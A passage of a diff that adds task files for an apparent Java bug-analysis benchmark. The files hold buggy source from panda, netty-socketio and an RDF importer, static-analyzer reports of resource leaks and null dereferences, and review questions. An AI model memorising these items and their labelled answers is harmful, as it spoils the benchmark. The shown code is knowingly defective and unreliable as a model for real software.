+                while(nsIterator.hasNext()) {
+                    Map.Entry<String, Object> kv = nsIterator.next();
+                    if (kv.getKey().equals(iri.getNamespace())){
+                        return kv.getValue() + PREFIX_SEPARATOR + iri.getLocalName();
+                    }
+                }
+            }
+            return str;
+        }catch (Exception e){
+            return str;
+        }
+    }
+
+    private void checkIndexesExist() throws RDFImportPreRequisitesNotMet {
+        Iterable<IndexDefinition> indexes = db.schema().getIndexes();
+        if(missing(indexes.iterator(),"Resource")){
+            throw new RDFImportPreRequisitesNotMet("The required index on :Resource(uri) could not be found");
+        }
+    }
+
+    private boolean missing(Iterator<IndexDefinition> iterator, String indexLabel) {
+        while (iterator.hasNext()){
+            IndexDefinition indexDef = iterator.next();
+            if(indexDef.getLabel().name().equals(indexLabel) &&
+                    indexDef.getPropertyKeys().iterator().next().equals("uri")) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private RDFFormat getFormat(String format) throws RDFImportPreRequisitesNotMet {
+        if (format != null) {
+            for (RDFFormat parser : availableParsers) {
+                if (parser.getName().equals(format))
+                    return parser;
+            }
+        }
+        throw new RDFImportPreRequisitesNotMet("Unrecognized serialization format: " + format);
+    }
+
+
+
+
+    public static class ImportResults {
+        public String terminationStatus = "OK";
+        public long triplesLoaded = 0;
+        public Map<String,String> namespaces;
+        public String extraInfo = "";
+
+        public void setTriplesLoaded(long triplesLoaded) {
+            this.triplesLoaded = triplesLoaded;
+        }
+
+        public void setNamespaces(Map<String, String> namespaces) {
+            this.namespaces = namespaces;
+        }
+
+        public void setTerminationKO(String message) {
+            this.terminationStatus = "KO";
+            this.extraInfo = message;
+        }
+
+    }
+
+    private class RDFImportPreRequisitesNotMet extends Exception {
+        String message;
+
+        public RDFImportPreRequisitesNotMet(String s) {
+            message = s;
+        }
+
+        @Override
+        public String getMessage() {
+            return message;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `getInputStream()` at line 187 is not released after line 193.
+**Note**: potential exception at line 188
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Stream RDFImport.streamRDF(String,String,Map)
+
+### Procedure Id:
+semantics.RDFImport.streamRDF(java.lang.String,java.lang.String,java.util.Map):java.util.stream.Stre.a18af216f8e0c6a0e91aadc23fcacfd2
+
+### File:
+src/main/java/semantics/RDFImport.java
+
+### Key:
+RDFImport.java|streamRDF|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+93bde3590d2a1771a1b9bf24372fab6a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5876/instruction.md b/inferredbugs-5876/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4caa171c0f3113253e0d98757f68b0f50c72027f
--- /dev/null
+++ b/inferredbugs-5876/instruction.md
@@ -0,0 +1,195 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** panda
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2015-2018 Dzikoysk
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.panda_lang.panda.language.interpreter.parsers.prototype.mapper.generator;
+
+import org.panda_lang.panda.design.architecture.module.*;
+import org.panda_lang.panda.design.architecture.prototype.PandaClassPrototypeUtils;
+import org.panda_lang.panda.design.architecture.prototype.method.PandaMethod;
+import org.panda_lang.panda.design.runtime.PandaRuntimeException;
+import org.panda_lang.panda.framework.design.architecture.module.ModuleRegistry;
+import org.panda_lang.panda.framework.design.architecture.prototype.ClassPrototype;
+import org.panda_lang.panda.framework.design.architecture.prototype.method.MethodCallback;
+import org.panda_lang.panda.framework.design.architecture.prototype.method.MethodVisibility;
+import org.panda_lang.panda.framework.design.architecture.prototype.method.PrototypeMethod;
+import org.panda_lang.panda.framework.design.architecture.value.Value;
+import org.panda_lang.panda.framework.language.architecture.value.PandaValue;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.security.InvalidParameterException;
+
+public class ClassPrototypeMethodGenerator {
+
+    private final Class<?> type;
+    private final ClassPrototype prototype;
+    private final Method method;
+
+    public ClassPrototypeMethodGenerator(Class<?> type, ClassPrototype prototype, Method method) {
+        if (method == null) {
+            throw new InvalidParameterException("Method cannot be null");
+        }
+
+        this.type = type;
+        this.prototype = prototype;
+        this.method = method;
+    }
+
+    public PrototypeMethod generate(ModuleRegistry registry) {
+        ClassPrototype returnType = PandaModuleRegistryAssistant.forClass(registry, method.getReturnType());
+        ClassPrototype[] parametersTypes = PandaClassPrototypeUtils.toTypes(registry, method.getParameterTypes());
+        boolean isVoid = returnType.getClassName().equals("void");
+
+        // TODO: Generate bytecode
+        MethodCallback<Object> methodBody = (branch, instance, parameters) -> {
+            try {
+                int amountOfArgs = parameters.length;
+                int parameterCount = method.getParameterCount();
+                Object varargs = null;
+
+                if (amountOfArgs != parameterCount) {
+                    if (parameterCount < 1) {
+                        throw new PandaRuntimeException("Too many arguments");
+                    }
+
+                    Class<?> last = method.getParameterTypes()[parameterCount - 1];
+                    String lastName = last.getName();
+                    Class<?> rootLast = Class.forName(lastName.substring(2, lastName.length() - 1));
+
+                    if (amountOfArgs + 1 != parameterCount || !last.isArray()) {
+                        throw new PandaRuntimeException("Cannot invoke mapped mapped method (args.length != parameters.length)");
+                    }
+
+                    varargs = Array.newInstance(rootLast, 0);
+                    ++amountOfArgs;
+                }
+
+                Object[] args = new Object[amountOfArgs];
+
+                for (int i = 0; i < parameters.length; i++) {
+                    Value parameter = parameters[i];
+
+                    if (parameter == null) {
+                        continue;
+                    }
+
+                    args[i] = parameter.getValue();
+                }
+
+                if (varargs != null) {
+                    args[amountOfArgs - 1] = varargs;
+                }
+
+                Object returnValue = method.invoke(instance, args);
+
+                if (isVoid) {
+                    return;
+                }
+
+                Value value = new PandaValue(returnType, returnValue);
+                branch.setReturnValue(value);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        };
+
+        return PandaMethod.builder()
+                .prototype(prototype)
+                .visibility(MethodVisibility.PUBLIC)
+                .isStatic(Modifier.isStatic(method.getModifiers()))
+                .returnType(returnType)
+                .methodName(method.getName())
+                .methodBody(methodBody)
+                .parameterTypes(parametersTypes)
+                .build();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `returnType` last assigned on line 53 could be null and is dereferenced at line 55.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+PrototypeMethod ClassPrototypeMethodGenerator.generate(ModuleRegistry)
+
+### Procedure Id:
+org.panda_lang.panda.language.interpreter.parsers.prototype.mapper.generator.ClassPrototypeMethodGen.7cde7486422be0cc09dd6cb1259738fc
+
+### File:
+panda/src/main/java/org/panda_lang/panda/language/interpreter/parsers/prototype/mapper/generator/ClassPrototypeMethodGenerator.java
+
+### Key:
+ClassPrototypeMethodGenerator.java|generate|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+c62744012d8a201ed5d193b0fc72b362
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5878/instruction.md b/inferredbugs-5878/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ed7e508b1911db96581422f09db14866d1a2f4ff
--- /dev/null
+++ b/inferredbugs-5878/instruction.md
@@ -0,0 +1,166 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** panda
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2015-2018 Dzikoysk
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.panda_lang.panda.language.structure.general.expression.callbacks.instance;
+
+import org.panda_lang.panda.design.architecture.PandaScript;
+import org.panda_lang.panda.framework.design.architecture.prototype.ClassPrototype;
+import org.panda_lang.panda.design.architecture.prototype.constructor.ConstructorUtils;
+import org.panda_lang.panda.framework.design.architecture.prototype.constructor.PrototypeConstructor;
+import org.panda_lang.panda.design.interpreter.parser.util.Components;
+import org.panda_lang.panda.design.interpreter.token.AbyssPatternBuilder;
+import org.panda_lang.panda.framework.design.interpreter.parser.ParserInfo;
+import org.panda_lang.panda.framework.design.interpreter.token.TokenizedSource;
+import org.panda_lang.panda.framework.design.interpreter.token.extractor.Extractor;
+import org.panda_lang.panda.framework.design.interpreter.token.reader.TokenReader;
+import org.panda_lang.panda.framework.language.interpreter.parser.PandaParserException;
+import org.panda_lang.panda.framework.language.interpreter.token.pattern.abyss.AbyssPattern;
+import org.panda_lang.panda.framework.language.interpreter.token.reader.PandaTokenReader;
+import org.panda_lang.panda.language.structure.general.argument.ArgumentParser;
+import org.panda_lang.panda.framework.design.runtime.expression.Expression;
+import org.panda_lang.panda.language.structure.general.expression.ExpressionCallbackParser;
+import org.panda_lang.panda.language.structure.overall.imports.ImportRegistry;
+import org.panda_lang.panda.language.syntax.PandaSyntax;
+
+import java.util.List;
+
+public class InstanceExpressionParser implements ExpressionCallbackParser<InstanceExpressionCallback> {
+
+    private static final AbyssPattern PATTERN = new AbyssPatternBuilder()
+            .compile(PandaSyntax.getInstance(), "new +** ( +* )")
+            .build();
+
+    private ClassPrototype returnType;
+    private PrototypeConstructor constructor;
+    private Expression[] arguments;
+
+    @Override
+    public void parse(TokenizedSource source, ParserInfo info) {
+        PandaScript script = info.getComponent(Components.SCRIPT);
+        TokenReader reader = new PandaTokenReader(source);
+
+        Extractor extractor = PATTERN.extractor();
+        List<TokenizedSource> gaps = extractor.extract(reader);
+
+        if (gaps == null) {
+            throw new PandaParserException("Cannot parse expression::instance");
+        }
+
+        String className = gaps.get(0).asString();
+        ImportRegistry importRegistry = script.getImportRegistry();
+        this.returnType = importRegistry.forClass(className);
+
+        ArgumentParser argumentParser = new ArgumentParser();
+        this.arguments = argumentParser.parse(info, gaps.get(1));
+        this.constructor = ConstructorUtils.matchConstructor(returnType, arguments);
+
+        if (constructor == null) {
+            throw new PandaParserException("Cannot find " + className + " constructor for the specified arguments");
+        }
+    }
+
+    @Override
+    public InstanceExpressionCallback toCallback() {
+        return new InstanceExpressionCallback(returnType, constructor, arguments);
+    }
+
+    public Expression[] getArguments() {
+        return arguments;
+    }
+
+    public PrototypeConstructor getConstructor() {
+        return constructor;
+    }
+
+    public ClassPrototype getReturnType() {
+        return returnType;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `InstanceExpressionParser.returnType` last assigned on line 64 could be null and is dereferenced by call to `matchConstructor(...)` at line 68.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void InstanceExpressionParser.parse(TokenizedSource,ParserInfo)
+
+### Procedure Id:
+org.panda_lang.panda.language.structure.general.expression.callbacks.instance.InstanceExpressionPars.25ca4e3c67f314c1f976c6a6f81e8ad0
+
+### File:
+panda/src/main/java/org/panda_lang/panda/language/structure/general/expression/callbacks/instance/InstanceExpressionParser.java
+
+### Key:
+InstanceExpressionParser.java|parse|NULL_DEREFERENCE
+
+### Node Key:
+bfc241217c7a49a02b8e9b77f052a085
+
+### Hash:
+699fca2978513af96fd95896451d7023
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5885/instruction.md b/inferredbugs-5885/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7a45c6274918ef20e1fd7111b42e3082df8a6d07
--- /dev/null
+++ b/inferredbugs-5885/instruction.md
@@ -0,0 +1,275 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** panda
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2015-2018 Dzikoysk
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.panda_lang.panda.language.interpreter.parsers.general.expression;
+
+import org.jetbrains.annotations.Nullable;
+import org.panda_lang.panda.design.architecture.*;
+import org.panda_lang.panda.design.architecture.module.*;
+import org.panda_lang.panda.design.interpreter.parser.*;
+import org.panda_lang.panda.design.interpreter.parser.linker.*;
+import org.panda_lang.panda.framework.design.architecture.module.*;
+import org.panda_lang.panda.framework.design.architecture.prototype.*;
+import org.panda_lang.panda.framework.design.architecture.prototype.field.*;
+import org.panda_lang.panda.framework.design.architecture.statement.*;
+import org.panda_lang.panda.framework.design.architecture.value.*;
+import org.panda_lang.panda.framework.design.interpreter.parser.*;
+import org.panda_lang.panda.framework.design.interpreter.token.*;
+import org.panda_lang.panda.framework.language.interpreter.token.defaults.operator.*;
+import org.panda_lang.panda.framework.design.interpreter.token.distributor.*;
+import org.panda_lang.panda.framework.design.runtime.expression.*;
+import org.panda_lang.panda.framework.language.architecture.value.*;
+import org.panda_lang.panda.framework.language.interpreter.parser.*;
+import org.panda_lang.panda.framework.language.interpreter.token.distributor.*;
+import org.panda_lang.panda.framework.language.interpreter.token.utils.*;
+import org.panda_lang.panda.framework.language.runtime.expression.*;
+import org.panda_lang.panda.language.interpreter.parsers.general.expression.callbacks.instance.*;
+import org.panda_lang.panda.language.interpreter.parsers.general.expression.callbacks.invoker.*;
+import org.panda_lang.panda.language.interpreter.parsers.general.expression.callbacks.logic.*;
+import org.panda_lang.panda.language.interpreter.parsers.general.expression.callbacks.math.*;
+import org.panda_lang.panda.language.interpreter.parsers.general.expression.callbacks.memory.*;
+import org.panda_lang.panda.language.interpreter.parsers.general.number.*;
+import org.panda_lang.panda.language.interpreter.parsers.prototype.parsers.*;
+import org.panda_lang.panda.language.interpreter.parsers.statement.variable.*;
+
+import java.util.*;
+
+public class ExpressionParser implements ParticularParser<Expression> {
+
+    @Override
+    public Expression parse(ParserData data, TokenizedSource expressionSource) {
+        return parse(data, expressionSource, false);
+    }
+
+    public @Nullable Expression parse(ParserData data, TokenizedSource expressionSource, boolean silence) {
+        ModuleRegistry registry = data.getComponent(PandaComponents.MODULE_REGISTRY);
+
+        if (expressionSource.size() == 1) {
+            Token token = expressionSource.getToken(0);
+            String value = token.getTokenValue();
+
+            if (token.getType() == TokenType.LITERAL) {
+                switch (token.getTokenValue()) {
+                    case "null":
+                        return new PandaExpression(new PandaValue(null, null));
+                    case "true":
+                        return toSimpleKnownExpression(registry, "boolean", true);
+                    case "false":
+                        return toSimpleKnownExpression(registry, "boolean", false);
+                    case "this":
+                        ClassPrototype type = data.getComponent(ClassPrototypeComponents.CLASS_PROTOTYPE);
+                        return new PandaExpression(type, new ThisExpressionCallback());
+                    default:
+                        throw new PandaParserException("Unknown literal: " + token);
+                }
+            }
+
+            if (token.getType() == TokenType.SEQUENCE) {
+                switch (token.getName()) {
+                    case "String":
+                        return toSimpleKnownExpression(registry, "java.lang:String", value);
+                    default:
+                        throw new PandaParserException("Unknown sequence: " + token);
+                }
+            }
+
+            NumberExpressionParser numberExpressionParser = new NumberExpressionParser();
+            Value numericValue = numberExpressionParser.parse(data, expressionSource);
+
+            if (numericValue != null) {
+                return new PandaExpression(numericValue);
+            }
+
+            ScopeLinker scopeLinker = data.getComponent(PandaComponents.SCOPE_LINKER);
+            Scope scope = scopeLinker.getCurrentScope();
+            Variable variable = VariableParserUtils.getVariable(scope, value);
+
+            if (variable != null) {
+                int memoryIndex = VariableParserUtils.indexOf(scope, variable);
+                return new PandaExpression(variable.getType(), new VariableExpressionCallback(memoryIndex));
+            }
+
+            ClassPrototype prototype = data.getComponent(ClassPrototypeComponents.CLASS_PROTOTYPE);
+
+            if (prototype != null) {
+                PrototypeField field = prototype.getField(value);
+
+                if (field != null) {
+                    int memoryIndex = prototype.getFields().indexOf(field);
+                    return new PandaExpression(field.getType(), new FieldExpressionCallback(ThisExpressionCallback.asExpression(prototype), field, memoryIndex));
+                }
+            }
+        }
+
+        if (TokenUtils.equals(expressionSource.getFirst(), Operators.NOT)) {
+            Expression expression = parse(data, expressionSource.subSource(1, expressionSource.size()));
+            return new PandaExpression(expression.getReturnType(), new NotLogicalExpressionCallback(expression));
+        }
+
+        MethodInvokerExpressionParser methodInvokerParser = MethodInvokerExpressionUtils.match(expressionSource);
+
+        if (methodInvokerParser != null) {
+            methodInvokerParser.parse(expressionSource, data);
+            MethodInvokerExpressionCallback callback = methodInvokerParser.toCallback();
+
+            return new PandaExpression(callback.getReturnType(), callback);
+        }
+
+        TokenReader expressionReader = new PandaTokenReader(expressionSource);
+        List<TokenizedSource> constructorMatches = ExpressionPatterns.INSTANCE_PATTERN.match(expressionReader);
+
+        if (constructorMatches != null && constructorMatches.size() == 3 && constructorMatches.get(2).size() == 0) {
+            InstanceExpressionParser callbackParser = new InstanceExpressionParser();
+
+            callbackParser.parse(expressionSource, data);
+            InstanceExpressionCallback callback = callbackParser.toCallback();
+
+            return new PandaExpression(callback.getReturnType(), callback);
+        }
+
+        List<TokenizedSource> fieldMatches = ExpressionPatterns.FIELD_PATTERN.match(expressionReader);
+
+        if (fieldMatches != null && fieldMatches.size() == 2 && !NumberUtils.startsWithNumber(fieldMatches.get(1))) {
+            PandaScript script = data.getComponent(PandaComponents.PANDA_SCRIPT);
+            ImportRegistry importRegistry = script.getImportRegistry();
+
+            TokenizedSource instanceSource = fieldMatches.get(0);
+            ClassPrototype instanceType = null;
+            Expression fieldLocationExpression = null;
+
+            if (instanceSource.size() == 1) {
+                instanceType = importRegistry.forClass(fieldMatches.get(0).asString());
+            }
+
+            if (instanceType == null) {
+                fieldLocationExpression = parse(data, fieldMatches.get(0));
+                instanceType = fieldLocationExpression.getReturnType();
+            }
+
+            if (instanceType == null) {
+                throw new PandaParserException("Unknown instance source at line " + TokenUtils.getLine(instanceSource));
+            }
+
+            String instanceFieldName = fieldMatches.get(1).asString();
+            PrototypeField instanceField = instanceType.getField(instanceFieldName);
+
+            if (instanceField == null) {
+                throw new PandaParserException("Class " + instanceType.getClassName() + " does not contain field " + instanceFieldName + " at " + TokenUtils.getLine(expressionSource));
+            }
+
+            int memoryIndex = instanceType.getFields().indexOf(instanceField);
+            return new PandaExpression(instanceField.getType(), new FieldExpressionCallback(fieldLocationExpression, instanceField, memoryIndex));
+        }
+
+        NumberExpressionParser numberExpressionParser = new NumberExpressionParser();
+        Value numericValue = numberExpressionParser.parse(data, expressionSource);
+
+        if (numericValue != null) {
+            return new PandaExpression(numericValue);
+        }
+
+        if (MathExpressionUtils.isMathExpression(expressionSource)) {
+            MathParser mathParser = new MathParser();
+            MathExpressionCallback expression = mathParser.parse(expressionSource, data);
+            return new PandaExpression(expression.getReturnType(), expression);
+        }
+
+        if (!silence) {
+            throw new PandaParserException("Cannot recognize expression: " + expressionSource.toString());
+        }
+
+        return null;
+    }
+
+    public Expression toSimpleKnownExpression(ModuleRegistry registry, String forName, Object value) {
+        return new PandaExpression(new PandaValue(PandaModuleRegistryAssistant.forName(registry, forName), value));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `token` last assigned on line 61  at line 62.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Expression ExpressionParser.parse(ParserData,TokenizedSource,boolean)
+
+### Procedure Id:
+org.panda_lang.panda.language.interpreter.parsers.general.expression.ExpressionParser.parse(org.pand.740d4d03105ae5f76adbf909bb116354
+
+### File:
+panda/src/main/java/org/panda_lang/panda/language/interpreter/parsers/general/expression/ExpressionParser.java
+
+### Key:
+ExpressionParser.java|parse|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+7e11da9eaba2e15fc368be4caa7d90f7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5950/instruction.md b/inferredbugs-5950/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cbd70b6ed4665ea8a65f82586ce9161aaf90f6f0
--- /dev/null
+++ b/inferredbugs-5950/instruction.md
@@ -0,0 +1,301 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** netty-socketio
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright 2012 Nikita Koksharov
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.corundumstudio.socketio.handler;
+
+import static io.netty.handler.codec.http.HttpHeaders.setContentLength;
+import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;
+import static io.netty.handler.codec.http.HttpResponseStatus.NOT_FOUND;
+import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.DefaultFileRegion;
+import io.netty.channel.FileRegion;
+import io.netty.handler.codec.http.DefaultHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.QueryStringDecoder;
+import io.netty.handler.ssl.SslHandler;
+import io.netty.handler.stream.ChunkedFile;
+import io.netty.util.CharsetUtil;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.net.URL;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.TimeZone;
+
+import javax.activation.MimetypesFileTypeMap;
+
+@Sharable
+public class ResourceHandler extends ChannelInboundHandlerAdapter {
+
+    public static final String HTTP_DATE_FORMAT = "EEE, dd MMM yyyy HH:mm:ss zzz";
+    public static final String HTTP_DATE_GMT_TIMEZONE = "GMT";
+    public static final int HTTP_CACHE_SECONDS = 60;
+
+    private final Map<String, File> resources = new HashMap<String, File>();
+
+    public ResourceHandler(String context) {
+        addResource(context + "/static/flashsocket/WebSocketMain.swf",
+                        "/static/flashsocket/WebSocketMain.swf");
+        addResource(context + "/static/flashsocket/WebSocketMainInsecure.swf",
+                        "/static/flashsocket/WebSocketMainInsecure.swf");
+    }
+
+    public void addResource(String pathPart, String resourcePath) {
+        URL resource = getClass().getResource(resourcePath);
+        // in case of usage exclude-swf-files profile
+        if (resource != null) {
+            File file = new File(resource.getFile());
+            resources.put(pathPart, file);
+        }
+    }
+
+	@Override
+	public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
+
+		if (msg instanceof FullHttpRequest) {
+			FullHttpRequest req = (FullHttpRequest) msg;
+			QueryStringDecoder queryDecoder = new QueryStringDecoder(req.getUri());
+			File resource = resources.get(queryDecoder.path());
+			if (resource != null) {
+				HttpResponse res = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK);
+
+				if (isNotModified(req, resource)) {
+					sendNotModified(ctx);
+					req.release();
+					return;
+				}
+
+				RandomAccessFile raf;
+				try {
+					raf = new RandomAccessFile(resource, "r");
+				} catch (FileNotFoundException fnfe) {
+					sendError(ctx, NOT_FOUND);
+					return;
+				}
+				long fileLength = raf.length();
+
+				setContentLength(res, fileLength);
+				setContentTypeHeader(res, resource);
+				setDateAndCacheHeaders(res, resource);
+				// write the response header
+				ctx.write(res);
+				// write the content to the channel
+				ChannelFuture writeFuture = writeContent(raf, fileLength, ctx.channel());
+				// close the request channel
+				writeFuture.addListener(ChannelFutureListener.CLOSE);
+
+				return;
+			}
+		}
+		super.channelRead(ctx, msg);
+	}
+	
+    private boolean isNotModified(HttpRequest request, File file) throws ParseException {
+        String ifModifiedSince = request.headers().get(HttpHeaders.Names.IF_MODIFIED_SINCE);
+        if (ifModifiedSince != null && !ifModifiedSince.equals("")) {
+            SimpleDateFormat dateFormatter = new SimpleDateFormat(HTTP_DATE_FORMAT, Locale.US);
+            Date ifModifiedSinceDate = dateFormatter.parse(ifModifiedSince);
+
+            // Only compare up to the second because the datetime format we send to the client does
+            // not have milliseconds
+            long ifModifiedSinceDateSeconds = ifModifiedSinceDate.getTime() / 1000;
+            long fileLastModifiedSeconds = file.lastModified() / 1000;
+            return ifModifiedSinceDateSeconds == fileLastModifiedSeconds;
+        }
+        return false;
+    }
+
+    private void sendNotModified(ChannelHandlerContext ctx) {
+        HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.NOT_MODIFIED);
+        setDateHeader(response);
+
+        // Close the connection as soon as the error message is sent.
+        ctx.channel().write(response).addListener(ChannelFutureListener.CLOSE);
+    }
+
+    /**
+     * Sets the Date header for the HTTP response
+     *
+     * @param response
+     *            HTTP response
+     */
+    private void setDateHeader(HttpResponse response) {
+        SimpleDateFormat dateFormatter = new SimpleDateFormat(HTTP_DATE_FORMAT, Locale.US);
+        dateFormatter.setTimeZone(TimeZone.getTimeZone(HTTP_DATE_GMT_TIMEZONE));
+
+        Calendar time = new GregorianCalendar();
+        HttpHeaders.setHeader(response, HttpHeaders.Names.DATE, dateFormatter.format(time.getTime()));
+    }
+
+    private ChannelFuture writeContent(RandomAccessFile raf, long fileLength, Channel ch) throws IOException {
+        ChannelFuture writeFuture;
